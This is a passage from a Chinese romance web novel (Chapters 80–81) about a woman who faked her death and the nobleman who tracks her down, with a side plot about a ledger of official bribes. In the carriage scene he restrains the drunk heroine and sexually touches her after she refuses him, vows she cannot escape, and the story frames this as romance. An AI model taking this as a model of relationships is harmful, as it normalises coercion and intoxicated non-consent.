“还有对面的香樽楼,据说前两日新来了个扬州的厨子,最擅淮扬菜,姑娘可要去尝尝鲜?” “别的不说,他家刚启了酒窖,开了几坛二十年的老酒,这两日门庭若市,生意好得很呐!” 纪云瑟听他如此说,又见他不停地擦汗,才自觉今日看这些账本着实久了些,她瞧了一眼窗外暗下来的天色,接口道: “好,我去看看。” 总之,她不想回去面对那厮,好不容易逃出京城过着舒心的日子,她一点儿都不想跟过去再有一丝联系。 可是她已经假死逃了一次,又不能再用这一招。她心烦意乱,罢了,别想了。她与晏时锦的纠葛,能拖一时是一时。 掌柜的亲自带着她去了酒楼,给她要了个二楼的雅间,推开窗就能瞧见楼下的天井。 当真是热闹,原本那简单的高台上是乐伎们奏乐,今日恐是为了迎合觥筹交错的一桌桌宾客,都换成了舞姬跳舞,偶尔有优伶表演杂戏。 掌柜的为她点了几个时兴菜,又叫了一壶酒来,问了她不用相陪后,方自行回去。 赤霄恭敬地守在门外,崇陶和效猗见自家姑娘无精打采提不起兴致,也都淡淡的不说话。 纪云瑟叹气不断,就连吃着平日里最爱吃的菜也是味同嚼蜡,她心情烦闷地饮了好几杯酒。 心里还不忘把晏时锦那厮骂了八百遍,都是那王八羔子,让她一个富商的好日子戛然而止,有家不能回,躲在外溜溜达达一整日! 她不是看不出那厮的打算,总之,她绝不会跟他回京城! 见她心情不好,连崇陶也不惯着她,压着她又要去添酒的手,劝道: “姑娘,你别再喝了。” 纪云瑟皱着眉头推开她,效猗见状,抿了抿唇,道: “姑娘,您打算怎么办?” 她见那位世子爷的架势,不把自家姑娘据为己有,是誓不罢休,纵使姑娘不愿,可那位的身份地位,谁得罪的起? “要么,您好好跟晏世子聊一聊?” “奴婢瞧着,虽然他看着可怕,但好像也不是那等完全不讲理之人。” 纪云瑟眯起有些微醺的眼眸,轻哼一声: “那是你不了解他!” 她愤然将那厮以妻礼安葬假尸体的用意给二人细细解释了一通,道: “如今,他便用这个威胁我,我若是不认,他便会追究助我假死的沈夫子和苏氏之责!” 崇陶和效猗一时咂舌,效猗担忧道: “那姑娘您是打算……?” 纪云瑟又闷了一盏酒,道: “先同他耗着,等姨母回来再说,她见多识广,一定有法子帮我。” 雅间一时寂静,突闻窗外天井旁传来一阵阵喝彩,崇陶闻声探头看了一眼,道: “姑娘,有人舞剑呢,您过来瞧一瞧吧!” 效猗也劝道: “对,姑娘去看看,别光喝酒。” 纪云瑟拗不过两人,拎了酒壶坐在靠窗的椅子,趴在窗台上,垂眼看着天井处,两个玉面少年半敞着上衣,手持长剑,舞姿矫健,剑光如练,她不懂什么剑术,只觉着两人生得面如冠玉,动作英姿飒爽。 窗外人声鼎沸,少女纤袅地身影俯在玫瑰椅靠背上,双耳后垂着两绺乌丝,一只手托腮,另一只手勾着酒壶,险泠泠的,仿佛下一瞬就要掉落,发出哐当的声响。 纪云瑟不知在那儿看了多久,竟连身后突然安静了下来都没有发觉,直到有人抢了她的酒壶,一道低沉的嗓音出现在她耳畔: “好看么?” “当然…好看!” 她原本已经阖上的双眸骤然睁开,乜斜着眼看过去。 很面熟的一张脸,是谁来着? 隐约记得这人的名字跟他的人一样别扭拗口,一点儿都不随和可爱! 她收回目光,混沌的脑子想了想,突然一个激灵,原本松散无神的双眸骤然聚拢了光亮。 “你…你怎么来了?” 晏时锦蹙眉看了一眼醉眼迷离,舌头打架的少女,在她的身体即将从椅子上滑落之前,一把将她打横抱起。 “回去再说。” 他径直将纪云瑟抱进了她的马车,崇陶和效猗刚要跟上,却见脸色不耐的世子爷将车帘落下,随即吩咐赤霄: “走!” 紫电适时过来,向二人抱拳,指着自己的简陋马车,客气道: “二位姑娘这边请。” 崇陶和效猗对视一眼,见自家姑娘已走远,只得咬着牙跟上去。 苏氏的三驾马车很是阔气,亦十分平稳,三面的坐席宽大,铺着软软的绒毯,两个角放着案桌,下面空余之处有时会搁上冰鉴,放些瓜果,桌上摆着一套茶具。 不过这种天气,纪云瑟喜欢喝一些凉饮,效猗多半会为她提前准备着冰镇的梅子汤。 整个车内弥漫着浓馥的酒气,纵是有凉风从拂动车帘从窗口吹入,亦难以驱散。 晏时锦皱紧眉头,从香盒里抓了两个香饼扔入一旁的熏炉中,见身旁的小醉鬼按着额角一路不言语,又将壶中剩余的梅子汤给她灌了进去。 “是不是头疼?” 男子坐在她身侧,摸了摸她的额头,却被她一把推开: “我又没病!不用你管!” 酒壮怂人胆,她已有六七分醉意,在他面前说话也硬气了许多。 “你是在…置气?” “跟我?” 晏时锦顿感莫名其妙,她做了那些对不住他的事,他问清原委之后就轻拿轻放轻易原谅了她,这姑娘她生什么气? 想到她今日又出来喝酒,还盯着那些伶人看他们赤膊舞剑,该生气的应该是他吧! 纪云瑟掀了掀眼皮斜着眼珠子看向他,直言道: “我不会跟你回京城。” 晏时锦眸光黯了黯: “此话何意?” 纪云瑟双手撑在绒毯上,身体坐直了些: “我好不容易离开那儿,不可能再回去。” “更不可能跟你回去。” “不跟我?” 晏时锦彻底冷下脸,语气凉凉: “那你要跟谁?” “沈绎?” 纪云瑟愣了愣,随即道: “与沈夫子无关,不用扯到他。” 晏时锦冷笑一声: “你派出去的人找到他了么?” “通风报信有何用?他犯的是欺君之罪,只要事发就是死路一条!” 纪云瑟定了定神,道: “我们俩的事,与沈夫子无关,从京城出来后,我也是昨日才见着他,你无需用他威胁我!” “现在,只说我们之间的事!” 晏时锦面无表情向后靠了靠,声音也似没有波澜: “你说。” “我从未喜欢过你。” “从前在宫里,我每一次刻意接近你,都是有目的,只想借你的势摆脱一些麻烦,这些,你不是早就知道了么?” “出宫后,我也不想再与你有任何瓜葛,我根本不在意你家长辈接不接受我,因为我压根不想嫁给你。” “逃离了京城,我每日都过得很开心,从来不曾想起你,更不想再见到你。” 那酒楼的酒不愧是陈年老酒,醇厚但并不上脑,纪云瑟只觉头有些飘飘然,但意识清醒,借着那几分酒劲,她终于说出了自己的真心话。 沉默在车内蔓延,只有男子愈发粗重的呼吸声。 好,她终于对他说了实话! 恐怕这么久以来,她对他说过的,也就只有这几句是实话! 这些他不是没想过,但从她的口中说出来,却依旧如利刃一般直插他的心窝。 很好,没有一丝真心,全都是做戏,全都是欺骗! 可恶! “所以呢?” 胸口重重起伏,晏时锦垂眸看向她。 纪云瑟迎上他慑人的眸光,毫无畏惧: “我不愿嫁给你,你就该放了我,你我各走各路!” “一别两宽,再无瓜葛!” “不愿?” 这两个字从他咬紧的后槽牙挤出,语气虽淡,却透着令人脊背生寒的冷意。 马车正好驶过一处街面,晚风掀开车帘一角,一盏摇晃的烛火擦着男子突起的眉峰,映着他锐利的目光落在纪云瑟的眼眸中,有被始乱终弃的恼恨,夹杂着爱而不得的不甘。 光亮闪过,车内骤暗,阴影瞬间覆下,厚重的气息扑面而来。 察觉到危险的纪云瑟本能地去推他,却被他反将两只手扣在她后腰,一手捏起她的下颌,动弹不得。 晏时锦的眸光森冷,如同野兽注视着猎物,他缓缓俯身下来,高挺的鼻梁碰了碰她柔腻的鼻尖,突然停住。 他闭上了眼。 “你做什…” 少女的尾音被吞没在男子强硬的唇齿间,趁她说话的间隙,轻松撬开她的齿关,肆无忌惮地闯入,汹涌且霸道。 酒气过后,是阵阵清甜,激烈的唇齿交缠声从唇瓣处溢出,淹没在破碎的喘息之中。 纪云瑟只觉一阵眩晕,被他蛮横的攻势吻得透不过气来,想要偏头躲开,却被他将手腕攥得更紧,贴得愈近,吻得越深。 晏时锦恨不得将她整个人融入自己的身体,她竟然说从未对他动心,要跟他一别两宽? 凭什么? 这些年,他无时不刻不在想她,心里梦里都是她,她居然敢说离了他过得更好?! 休想! 从她招惹他的那一刻起,她就没有了退路,她只能是他的!若是敢再逃,他就把她关在自己身边一辈子! 少女的呼吸愈发急促,脸颊也泛起了丝丝红晕,晏时锦终于柔和了唇舌,给她留出喘息的间隙。 他含着她微肿的唇瓣,缓缓吐出几个字: “说晚了!” 第80章 “什么?” 兰气流动之间,因呼吸不畅而有些晕沉的纪云瑟发出了声音,她极力让自己的意识在这番汹涌澎湃中保持清醒, “什么晚了?你…” 不等她说完,晏时锦吞下了她带着酒味的气息,他从不饮酒,也厌恶别人身上的酒气,但在此刻,却觉得混入了少女的甜香,让他痴醉。 这些年,他对她不是没有气恼,但每一分气恼的背后都是彻骨的想念。 他实在离不了她,哪怕她不喜他,只要她在身边,其他什么都不重要。 少女的眼眸如盈盈秋水,或因饮了酒的缘故,眼尾染着丝丝嫣红,妩媚娇艳,更加让人情动。 喝酒的是她,微醺的是他。 他松开了抓住她双腕的手,顺势搂住了她的腰,另一只手扣在她的脑后,将她整个人压倒在坐榻上,漆黑幽眸深不见底,低哑的嗓音从粗重的喘息声中呼出: “我早告诉过你,既招惹了我,就得嫁我!” “你没有退路。” “不…唔” 纪云瑟艰难地吐出一个字,又被他粗重的深吻再次袭来,她已无力再去推开他,就像溺在无边无际的深海里,只有眼前的男子是一根浮木,让她不得不用力抓紧他。 无处可逃。 马车已驶向城郊,车内愈发昏暗,只有车头挂着的两盏烛火在车帘被风吹起的缝隙中,偶尔透进一道光亮,在缱绻旖旎的气息中,映着男子恼恨欲重的眉眼。 纪云瑟在这阵狂风骤雨中被吻得七荤八素,他的手顺着少女的耳垂下颌缓缓下移,温热的指尖探入她的衣襟,一阵异样的酥麻传来,破碎的呜咽嘤咛被晏时锦悉数勾入口中。 他另一只原本放在她后腰处的手,亦不甘于此,试探着往下,向更为隐秘的去处滑动,如同过去不知多少个夜梦中一般,一寸一寸丈量着这个让他沉溺不可自拔的身体。 纪云瑟不是不通情事之人,她喜欢看才子佳人的话本,对书中形容和插画描绘的男女之间的欢爱也生过探索的欲望。 此刻,她一面承受着晏时锦有技巧的勾缠深吻,一面被他揉捏轻抚,只觉自己变成了一朵漂浮半空的云团,欲上不上,欲下不下,只有抱着他绷紧健硕的双臂,才能寻到着落之处。 少女的外衫在拉扯中松开,晏时锦终于放过了她的唇舌,温热的唇瓣星星点点,原本的瓷白染上了层层嫣粉,纪云瑟有口不能言,所有的话语变成了情不自禁的娇喘。 一阵一阵的燥意在血液里乱窜,让她不自觉想贴紧男子冰凉的锦缎外衫,她伏在他的肩头,指尖的丹蔻嵌入他手臂之时,男子的吮吻突然加重,纪云瑟也在混乱的情欲中寻回了几分理智,扒开他的衣襟,她用力咬了下去。 有刺痛从肩膀传来,晏时锦不痛反笑,用舌尖试探着她的反应,少女的呼吸愈发急促,全身不住的颤栗。 他的确是个极其聪明之人,初时生涩无章,但只观察了少女带着克制的微弱反应,便对她的身体有了初始的了解,精准地捕捉到了她的弱点。 纪云瑟只觉自己陷入了一道温柔的迷津,沉沦其中,深陷、堕落,仅存的几分神智觉察出来,这就是话本中所言的男女欢好滋味。 恼怒过后,是难以言说的渴求,她被潮湿浸润,入风雨中的渡口,等待着船儿的靠近。 可是,这厮明明衣裳都没脱,除了肩头处被她扯开,其他之处裹得严严实实。 “喜不喜欢?” 男子突然停下,细细端详她,拿捏着唇舌滑出几个字。 纪云瑟只觉自己又突然掉落旱漠之中,那一处的渴望如同干涸的枯井,可不管她的纤腰如何迎上去,他却一直不动,静待她的回答。 见少女双颊潮红,额上渗出细细密密的汗珠,面上已是明显的难耐,却依旧固执死死咬着唇,不发一言,男子又俯身吻了一下,轻啄着: “回答我。” 酥麻冲顶,纪云瑟将仅存的理智扔在那处荒漠,娇语喃喃: “喜欢…” 看着少女如含苞的娇花在他的刻意撩拨下逐渐绽放,男子志得意满,温唇贴着她的耳畔,微微咬着她的耳垂: “喜欢我就好!” 被从未有过的愉悦和满足包裹感官的身体软柔如棉花,宽阔的裙摆散落坐席上,少女有气无力地瘫软下去,落在他强硬的臂弯中,说不出一句话来。 待她缓过一口气,毫不犹豫地,在男子另一侧的肩头,也不管其他,隔着几层衣衫,狠狠咬了下去。 晏时锦笑出了声,将全身被汗水浸湿,如同水里捞出来的人儿用力搂紧: “我再说一次,想逃,不可能。” “喜欢我,尚来得及。” 夜深人静,漪澜苑门上的宫灯摇曳,投下一圈圈光影。 纪云瑟被晏时锦抱下马车,烛光映着她瓷白透粉的面颊,和散落男子手臂的如瀑乌发,她无颜见人,咬着唇将整张脸埋在他的胸口。 小厮们见着这位从天而降的“新姑爷”回来,立时精神抖擞,躬身相迎,但见自家小姐紧紧搂着他,又识趣地躲到一丈之外。 跟在后下了马车的崇陶和效猗看这情形亦不敢说话,一个去熬醒酒汤,一个去备水沐浴。 纪云瑟真的是累了,她今日没有午睡,晚膳喝了那么些酒,又被人揉面团一般拿捏了一路。 但她被晏时锦抱到湢室放入浴桶中后,还是强撑着力气道: “不许看我洗澡。” 晏时锦看了一眼她衣衫滑落的颈侧,挑了挑眉: “不看。” 又自然而然地看向两个忙碌的婢女: “给我备水,我也要沐浴。” 一旁的崇陶和效猗惊异这位世子爷此刻散发出的温润气质,但听到他下 一句毫不客气的吩咐,又不禁吐了吐舌。 纪云瑟给了效猗一个眼神,她会意跟着晏时锦出去伺候着。 崇陶给自家姑娘褪去衣裳,看到她身上的点点红印,不禁轻呼了一声: “呀!姑娘,您身上怎么了?” 珠帘外,是晏时锦“咕噜咕噜”的漱口声,纪云瑟无力地撑着额头,轻咳了几下,道: “…虫子咬的。” 崇陶叹道: “姑娘还是该找沈夫子给您再做两个香牌,这两年,您没了那东西,总是容易招惹蚊虫。” 纪云瑟垂下眼,随口应了两声,她故意让年长懂事些的效猗走开,就是不愿让她胡思乱想。 她此刻思绪很乱,还有酒后的混沌头疼,没有精力再思考什么。 穿好衣裳后,效猗给她送来了醒酒汤,纪云瑟喝完,直接躲入了自己的帐帘中,窝在最靠里侧的角落,脑海里突然跳出那厮在马车上说的最后一句话。 那样来自身体最隐秘的却最真实的反应,真的是开始喜欢一个人的征兆? 她立时摇了摇头,不可能! 次日,还是效猗将她唤醒。 一夜的睡眠将所有疲惫驱散,纪云瑟觉得神清气爽,她换衣裳时下意识地扫视了一圈屋内,正诧异间,效猗道: “今早奴婢醒来,并未看见姑爷,和赤霄姑娘,后来问了守夜的小厮,说是他们夜里不到四更就出门了。” 纪云瑟“嗯”了一声,随即反应过来有什么不对,啧了一声,道: “谁让你们喊他‘姑爷’的?” “是‘姑爷’吩咐的……” 效猗弱弱道,但见自家姑娘沉下脸,心虚地扯出一抹笑: “奴婢是说,晏世子,他…他们还未回来,也没交待去哪儿。” 纪云瑟朝罗汉床的方向翻了个白眼,自行起身换好衣裳: “与我何干?” 不过,她立时道: “你说,连赤霄也跟着去了?” 见效猗点点头,纪云瑟突然一阵狐疑,那厮不是吩咐赤霄贴身看守她么?怎的,又放心让她脱离他的视线了? 总不会是经过昨日,晏时锦就默认自己是他的人,料定她不会逃了? 效猗见她神色复杂,想起昨晚他们一同在马车上同处许久,又那样下的马车,自家姑娘还搂那么紧,便道: “姑娘不必担心,世子他们武功高强,不会出什么事。” 纪云瑟没好气地白了她一眼: “谁担心他?” “他被人杀了才好呢!” 用了早膳后,她将破竹叫了过来,问他昨日可有寻到沈绎的踪迹。破竹却摇摇头,道: “禀小小姐,小人寻遍了江州的大小客栈,却无沈先生消息。” 那就怪了,前日他们一同用了晚膳后,沈绎应当来不及立刻离开赶远路,难道并不是栖身客栈? 他在这里有相熟之人? 她思索一瞬,道: “多派两人去打听打听,一定要问到沈夫子的下落。” ~ 江州,城北郊外的一处隐秘宅院,屋内的一个男子浑身是伤,脸上亦是鞭打过的道道血痕,面色惨白,嘴唇青黑,双手双脚的锁链未除,虚弱地躺在一张极简单的床榻上。 屋外正堂,晏时锦一身玄黑静坐主位圈椅,紫电立在下手,道: “李福伤势极重,而且,还中了剧毒。” “属下给他喂了日常用的解毒丹,但似没有作用,他依旧说不了一句话。” “据属下所查,他的家中已经掘地三尺,依旧没人找到那本《百官述》。” 他们一行人来江州表面是查盐茶税,实际的目的是拿到李福手里的那本书有江南四州和京城数百名官员受贿记录的书册。 此人曾先后在江南四州任府衙知事,不仅熟知历任各州知府,而且对他们与京城官员的来往亦十分清楚,曾于十年前开始记录这本《百官述》,记有官员收受的每一笔具体钱物数额。 这些官员的其中,有一大半与夏氏有关。这几年,虽有他在后助陛下打压,但夏氏和蔚王的势力依旧不可小觑,若是能拿到这本书册,就能轻易拿捏已经归附夏氏的官员。 晏时锦曾在通州查另一桩案子时,无意听说了此册的存在,但却一直不知在谁手里。直到前些时日,查到裕王的一个心腹,得知记录此书册的是时任江州知事的李福,但却晚到了一步。 李福早已因别的罪名下狱,关在江州府衙的地牢,昨夜被他们几个冒充江湖人士劫狱救出。 晏时锦皱了皱眉: “是说不了,还是,不愿说?” 他多半是已被人威胁,有忌讳。 赤霄走了进来,道: “禀世子,已经查到了。李福膝下无子,只有一十岁的女儿,其妻死后,被妻舅接走,因妻舅怀疑自家妹子死因有疑,故而与他闹翻,多年并未有联系。” “此人从前家中还有几房妾室,在他被抓后,如鸟兽四散,没了踪迹。” 晏时锦道: “没有其他任何疑点?” 赤霄想了想,道: “对了,属下问到,两年前,他新添了一房妾室尤氏,据说极为宠爱,但在他出事的前一个月突然因犯了大错被他赶走,不知所踪。” 晏时锦道: “去查那女子的踪迹!” 如果他没有猜错的话,这人是预感到了什么,故意将心爱之人送走,而如今不开口,多半是被人掣肘。 “他的妻舅可有疑点?” 赤霄道: “属下查过,李福的妻舅乃清州人,开了一间镖局,与李福嫌隙颇深,他的妻舅甚至已将外甥女儿改姓,从李家的族谱中逐出。而李福也从未探望过女儿,好似不存在一般。” 晏时锦道: “你不觉得这就很可疑?” “女儿做为他唯一的血脉,正常人会不管不顾?” 赤霄道: “这个,属下也查过。” “此人是出了名的重男轻女,这么多年一直想各种方法求子嗣却未得,后来听信了和尚道士之言,甚至对外常言是女儿命中带煞,克父克弟,阻了他的仕途,更阻了他求子,故而深恨其女。” 晏时锦看了一眼屏风后隐约可见的床榻上的人影,道: “更加可疑。他不是大字不识的白丁,身为一府知事,会轻易被无稽之言所扰?” “盯紧他的妻舅,再派几名暗卫,保护好其女。” “但不要被人发现,若是我没有猜错,我们能想到的,别人也能想到。” 粗略算来,李福记录书册已有十来年,而其女将将十岁,他不会不知道自己的行为会给他带来什么样的灾祸,为了保护仅有的女儿,唯一的办法,就是远离他,与他再无瓜葛。 而后他一心求子,但一月前突然赶走爱妾? 晏时锦突然想到什么起身进入房中,看着床榻上的李福双目无光,眼睛直直地盯着房梁,似一副心如死灰的模样,幽幽道: “你死了不打紧,但可有想过你的女儿?” 李福依旧一动不动,晏时锦冷笑一声,行至他面前冷声道: “还有尤氏,她腹中已有你的骨肉,如今落入他人之手,恐怕生命垂危。” “你若是想保住他们母子,只能跟我合作。” 他试探的话语刚出口,李福猛烈地咳嗽了几声,所有防线骤然坍塌。晏时锦吩咐紫电: “给他找大夫!” 他步出屋外,不多时,青霜回来,道: “禀世子,有暗卫来报,沈绎前日连夜前往南安,此刻在赶来江州的路上。” 晏时锦道: “他在冀州的替身,何时除服?” 青霜略思一瞬,算了算,道: “大约在三个月后。” “属下如今让人赶去将那人拿住,还来得及。” 晏时锦瞥了他一眼: “若是我要定他的欺君之罪,何必等到现在?” 青霜不解: “那主子的意思是…” 晏时锦蹙眉扫过他这个憨傻的下属: “派人再去一趟南安,将沈绎手上拿到的东西,再拿一份。” 这几年他一直在查沈绎的身世,终于在太医署的旧档中,查到了当年的太医院正贺景天在入太医署之前,曾与结发妻子有过一子,只不过旧档记载是他的发妻和长子皆死于家乡瘟疫。 那年贺景天家乡肃州的确发生过瘟疫,也的确死了许多人,巧合的是,沈绎的祖宅在冀州,而且恰在两地交界处。 同时,晏时锦还查到了一些蛛丝马迹,如果他没有推测错的话,沈绎就是贺景天的长子,他并没有死,而是一直被人刻意隐藏身份,保护周全。 当年贺景天是夏贤妃的心腹太医,但是,在皇长子骤然夭折后,这位太医院正也突然死于心悸。若是晏时锦所料不错的话,沈绎到京城,入皇宫的目的,定是与那件事有关,他想要贺景天的死亡真相。 正好,晏时锦也想要。 ~ 纪云瑟一整日都窝在漪澜苑,命人去苏滢的别苑取了要看的账本过来,苏家产业极多,苏滢只让她接触了日常的一部分,其他的生意,便让她有空时先看看各处从前的账本,初步了解后再与她细说。 日暮时分,效猗过来说,破竹有了沈绎的消息,在她的院子外请见。 纪云瑟看了许久的账本,正在荡秋千远眺休息一会儿眼睛,闻言蹙了蹙眉: “你也傻了,他们何时进这院子还需请什么请见的?” 真把某人的话当圣旨了? 效猗讪讪一笑,也不辩解,自去把破竹唤了进来。 “禀小小姐,沈先生午后返回了江州,如今宿在顺荣客栈。” “是要小人将他请来还是……” 纪云瑟想了想,道: “我去找他。” 她回房换了一身轻便的外裳,取了帷帽后,带着崇陶效猗和破竹几个侍卫一行人出了门。 江州城不大,马车很快到了城东的顺荣客栈,纪云瑟掀帘瞧了一眼车外,思索片刻,吩咐破竹: “你去把沈夫子约出来,我在这儿的茶楼等他。” 破竹应声而去,纪云瑟带着其他人行至茶楼里,要了一个雅间。一盏茶后,她等来了浅衫男子。 沈绎在她对面坐下,笑了笑: “云瑟,如此急着找我,有何事?” 纪云瑟见门外的破竹带上了门,才向前凑近了他一些,疾声道: “夫子,您快离开这里!” 沈绎自是有些诧异: “为何?” 纪云瑟抿了抿唇,一时又不知从何说起,沈绎见她欲言又止,神情逐渐凝重: “到底发生何事?” 纪云瑟终是开口道: “是晏时锦,他到江州来了。” 沈绎惊了一惊: “他找到你了?” 他早就想过,凭晏时锦的谋算和能力,此事不会一直被蒙在鼓里,但没料到事情过了两年多,他还是寻了过来。 纪云瑟面色复杂地叹了口气,点点头: “夫子,我不能连累您,趁他还没发现,您赶快离开吧!” 沈绎细细观察着她的神色: “他…没有对你怎么样吧?” 纪云瑟抿了抿唇,沈绎已明白了几分,问道: “你有何打算?” 纪云瑟还是那句话: “我不会再回京城。” 沈绎默了一瞬,道: “可要我帮你?” 纪云瑟摇摇头,她不能再连累沈绎了,而且,总是逃避也是无用, “姨母过几日会回江州,她应该有办法。” “就算没有,我不回去就是不回去,他又不能杀了我。” “夫子您不用管我,趁他还没有发现,此刻快些离开才是正经。” 沈绎对她那个姨母能帮她是不抱希望的,但也知道晏时锦既然能在两年后还寻了纪云瑟到此,自然也不可能会把他这个女学生如何。 不过,他也没必要逃。 相反,他还需要与晏时锦合作。 若是他没有猜错,晏时锦早已派人去了冀州查他的底细,也必定已经知晓桑仁代替他丁忧之事,却到此刻还没有揭穿他,就不打算用此事做文章。 很有可能,晏时锦已经查到了他的身份,更是猜到了他出宫的目的,或许,也在等着他查到的真相。 沈绎虽已拿到确切的证据,但自己毕竟人微言轻,他需要晏时锦帮忙,给他提供人身安全的保障,也确保当年的真相能够顺利揭开。 纪云瑟见他神色淡然,没有她所预想的惊慌,忙道: “夫子,您不打算走?” 沈绎饮了一口茶,颔首道: “你不走,我自然也没有必要逃。” 而且,晏时锦多半已经知晓了他的下落,说不定立刻就会来寻他。 果不其然,下一刻,敲门声响起,是青霜的声音: “禀夫人,世子请沈太医过去一叙。” 纪云瑟唇角抽搐了一下,看向一旁的沈绎,面露一丝担忧。 沈绎眸中异色一闪而过,顿了顿,平静道: “我去去就回,不用记挂我。” 纪云瑟跟了出来,被青霜恭敬拦下,看了一眼她的神色,劝慰道: “夫人请留步。您不必担心,世子一切安好。” 纪云瑟: “?……” 80-90 第81章 不是,谁说她担心的是他? 纪云瑟无法阻止沈绎跟着青霜离开,只得回漪澜苑等消息。 不料晏时锦至晚未归,沈绎也没有任何音讯,看纪云瑟睡前似有愁绪,崇陶给她端了睡前喝的燕窝过来,安慰道: “姑爷是有公务来此的,估摸着的确有些忙,才没有回来陪姑娘。” 纪云瑟一脸无语地看向她,她们到底哪知眼睛看出自己和那厮已经情意缱绻到如此地步了? 她心情烦躁地一口喝下燕窝,漱了漱口,便径自掀开帐帘躺了进去。 崇陶不禁更加对那位新姑爷生出了几分敬意,这才刚到两日,自带的煞气竟然就治好了姑娘的梦魇,不用人陪,也无需狗陪,都能独自睡觉了,真是厉害! 没有消息就是好消息,沈绎也不像是能被轻易拿捏之人。 不过,纪云瑟第二日也不再有闲工夫计较这些烦心事,午后,她去往了绸缎庄,却听掌柜的有些担忧地告诉她: “小小姐,曾家至今还未有人上门商谈买料子一事。” 纪云瑟蹙眉: “不可能啊!” “参将府寿宴在即,他们还不买料子,怎么来得及做那些衣裳?” “盯着曾氏布庄的人怎么说?” 掌柜的微微叹气: “派去的人说,曾氏布庄一切如常,布庄的掌柜和他家管事的少夫人如往常一般,都无特别异样。” 纪云瑟突然想到: “其他布庄呢?” “不会还有咱们没买全的料子吧?” 掌柜的道: “我也怕这个,今儿个一早又让人悄悄去转了一圈,确定只要是寿宴能用的颜色锦缎,都已被咱们买下,他们若要再进货,也需些时日,不会那么快。” 这就奇了! 纪云瑟捏着手中的杯盏,不住摩挲上面的青瓷纹路,有些想不明白,照理说,过去这两日,正是曾家紧张备料的日子,他们在江州找不到想要的颜色和面料,就应该急了。 除非…… 纪云瑟心里咯噔一下: “他们不会真的去了外地进货吧?” 掌柜的摇摇头: “我早已让人盯着曾家负责采买的管事,他人一直在江州。” 纪云瑟深吸一口气,想了想,道: “那就再等等,咱们不急。” 料子在他们手上,该急的是曾氏,她倒是想看看,他们除了上门来要,曾氏还有什么别的法子。 纪云瑟出了绸缎庄后,先去了一趟苏滢的别苑,得知苏滢还需过两日回来,管家见她似心情不佳,便问道: “小小姐许久没有来了,可要老奴给您准备汤泉,泡一泡?” 纪云瑟想了想,答应 了。 这处别苑当年建在此处就是因为所在的月明山下有好些温泉眼,可以直接引了活泉水入苑内的浴池。 纪云瑟喝了一盏茶,用了些茶点后,便去了准备好的汤泉池,换了一件鲛纱浴衣,将发髻解开散落,倚靠在池边闭目养神。 效猗去给她准备沐浴后喝的梅子汤,崇陶收拾她换下的衣物,却听得浴房外似有说话声。 崇陶出去瞧了片刻方回来,低低笑出了声,纪云瑟掀开眼皮瞧了她一眼,道: “有什么新鲜事?” 崇陶笑完了才道: “是倚红和偎翠在外边问效猗,说是看姑娘似有些疲惫,问您是否需要推拿按摩。” 纪云瑟扯了扯唇角,本能地用手护住了胸口,皱眉看向她: “怎么又来了?” 那是专门在浴房服侍苏滢的两名侍从。 纪云瑟刚见二人是第一次与苏滢一同在这汤池沐浴时,听到这两个名字又见他们雌雄莫辨的美貌,下意识以为他们是女子,便没有拒绝,让倚红给她按着肩膀。 直到听见二人说话,明显是粗哑的男子声音惊得她差点从浴池中跳起,立马裹了浴巾逃之夭夭。 这件事,逗得苏滢笑了她好几日。 纪云瑟回过神,忙摆摆手, “让他们走,我不需要这个。” 崇陶捂着嘴,悄悄附在她耳畔道: “姑娘别怕,我也是从前听积玉说过,他二人被前院的那几个打压得紧,除了二小姐来汤泉沐浴,平日里连面都见不着,委屈得慌,这不,找姑娘您来了。” 苏滢素来喜欢体格健硕的男子,平日里都是几个侍卫轮番陪着,至于这两个,似乎只是看他们颇为精通推拿之术,行事温柔,偶尔让他们服侍洗个澡而已。 见自家姑娘闻言颇有如临大敌的模样,崇陶捂着嘴笑道: “奴婢问过了,他们不过是想让姑娘您在二小姐面前美言几句,让二小姐时常想起他们,或是说动二小姐多来泡一泡汤泉而已。” “别无它意。” 纪云瑟抚着额头: “让他们走吧!” “我帮不了他们。” 她也是跟着苏滢,才见识过了这别苑的几个男子争宠吃醋的模样,里边的伎俩手段,跟寻常宅院中的主母姨娘之间的斗争差不了多少,她看着一个头两个大,可没那个闲工夫插手这些。 崇陶笑着应声出去,没一会儿又返回,露出几分为难: “奴婢实在赶不了他们。” 应该说是不忍心,那两人本就生得粉面含羞,说起话来又轻声细语,求人时更是如西子捧心般楚楚可怜,崇陶哪见过这等架势,一个不字都说不出口,生怕伤了两位美人。 纪云瑟蹙眉,她对男人可没这样的好耐心,这还让不让人安静地待着了!本就心情烦闷的她白了崇陶一眼: “总不用我亲自去赶吧?” “他们若再不走,你让他们进来,我跟他们说!” 见自家姑娘一副毫不怜香惜玉的模样,崇陶讪讪一笑,答应着去了。 纪云瑟懒懒地靠着铺了绒毯的浴池壁,阖目休息,氤氲水汽从她纤长的睫毛上滑落双颊,沾湿了额角的碎发,黏黏腻腻的,她有些不舒服地蹙眉拨开。 身后传来脚步声,必是崇陶回来了,但见她并未言语,料定该是把那两人劝出去了,纪云瑟泡得正舒服,不愿睁开眼,头往后靠了靠,道: “给我倒杯水。” 有杯盏落地的声音在她耳畔,她转头向发出声响的一侧,张开了嘴,就着为她端过来的水杯喝毕。 纪云瑟许久没有让人这样服侍,崇陶看起来也生疏,笨手笨脚的,将杯盏抬得太高,喂得太急,水顺着她的唇角滑落到下颌、锁骨。 但她本就泡在汤泉里,只皱了皱眉,并未说什么,仰着脑袋靠在冰凉的浴池沿上。 片刻后,有手放在她的肩颈处,顿了顿,开始给她按揉起来。纪云瑟正要告诉崇陶不必帮他推拿,却感觉到这手不对劲。 明显是宽大有力,指尖有些粗糙带着薄茧的手。 纪云瑟一惊,睁开眼就打了个激灵。 男子点漆般的黑眸出现在她面前, “舒不舒服?” 纪云瑟差点惊叫出来,仓皇间,护着胸口滑到了浴池另一侧,池水荡漾,水汽弥漫。 “你,你怎么进来的?” 晏时锦并未回答,起身甩了甩手上的水,目光从身侧的刺绣屏风扫过,落在玲珑有致的少女身上,眸色不明: “这就是你不肯回京城的原因?” 纪云瑟愣了愣,随即明白他的意思,这厮定是看见了倚红和偎翠二人,她眼珠儿一转,故意道: “对啊!” “这里美人如云,我为何要回去?” 晏时锦不理会她,自行解开蹀躞带,脱下外衫。 纪云瑟瞳孔缩了缩,如临大敌: “喂,你…你做什么?” 男子看了一眼她瞬间发白的面色,终于停下来,留着最后一件中衣,缓缓走下浴池。 纪云瑟眼睁睁看着他在水中靠近自己,迅速将整块浴巾拖入水中,裹在自己身上。 “晏时锦,你疯了吧!” “崇陶、效猗!” 外面的人呢? 